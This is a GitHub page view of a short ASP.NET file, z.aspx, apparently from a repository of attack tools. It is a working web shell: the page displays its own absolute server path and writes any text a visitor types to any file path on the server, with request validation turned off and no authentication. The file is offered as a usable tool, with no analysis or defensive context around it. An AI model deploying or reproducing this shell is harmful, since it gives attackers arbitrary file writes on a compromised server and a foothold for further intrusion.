-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathz.aspx
executable file
·57 lines (51 loc) · 2.21 KB
/
z.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<%@ Page language="c#" validateRequest=false %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>upload</title>
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="C#" runat="server">
void Page_Load(object sender, System.EventArgs e)
{
string strPath = Server.MapPath(".");
L3.Text = strPath;
}
void Button1_Click(object sender, System.EventArgs e)
{
try {
System.IO.FileInfo fil = new System.IO.FileInfo(T1.Text);
System.IO.StreamWriter sw = fil.CreateText();
sw.Write(T2.Text);
sw.Flush();
sw.Close();
L4.Text = "文件保存成功!";
}
catch (Exception ex)
{
L4.Text = ex.Message;
}
}
</script>
</HEAD>
<body MS_POSITIONING="GridLayout">
<form id="Form1" method="post" runat="server">
<asp:Label id="L1" style="Z-INDEX: 101; LEFT: 24px; POSITION: absolute; TOP: 96px" runat="server">本文件绝对路径:
</asp:Label>
<asp:TextBox id="T1" style="Z-INDEX: 102; LEFT: 144px; POSITION: absolute; TOP: 64px" runat="server"
Width="376px"></asp:TextBox>
<asp:Label id="L2" style="Z-INDEX: 103; LEFT: 24px; POSITION: absolute; TOP: 64px" runat="server">文件保存路径:
</asp:Label>
<asp:Label id="L3" style="Z-INDEX: 104; LEFT: 144px; POSITION: absolute; TOP: 96px" runat="server" Width="584px">
</asp:Label>
<asp:TextBox id="T2" style="Z-INDEX: 105; LEFT: 24px; POSITION: absolute; TOP: 128px" runat="server" Width="504px"
Height="344px" TextMode="MultiLine"></asp:TextBox>
<asp:Button id="Button1" style="Z-INDEX: 106; LEFT: 424px; POSITION: absolute; TOP: 504px" runat="server"
Width="96px" Text="保存文件" OnClick="Button1_Click"></asp:Button>
<asp:Label id="L4" style="Z-INDEX: 107; LEFT: 144px; POSITION: absolute; TOP: 24px" runat="server" Width="432px">
</asp:Label>
</form>
</body>
</HTML>